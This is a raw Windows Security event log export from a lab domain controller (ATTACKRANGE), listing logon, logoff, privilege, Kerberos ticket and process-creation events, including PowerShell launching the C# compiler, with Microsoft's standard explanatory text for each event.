ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251278
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE55

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251277
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE55
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251276
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251275
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251274
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251273
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EDDE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251272
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12E45E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251271
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12D10C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251270
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EDDE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251269
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EDDE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251268
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251267
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251266
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251265
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1350
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESEFCB.tmp" "c:\Users\Administrator\AppData\Local\Temp\w0dtvdde\CSC2B1898E693A44C53B48746C623F2D172.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251264
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12ECEC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251263
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12ECEC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64516

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251262
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12ECEC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251261
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EC75

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251260
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12EC75
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64515

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251259
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EC75

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251258
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EBCB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251257
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12EBCB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64514

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251256
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EBCB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251255
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EB6A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251254
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12EB6A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64513

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251253
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EB6A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251252
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1128
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\w0dtvdde\w0dtvdde.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251251
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12E45E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251250
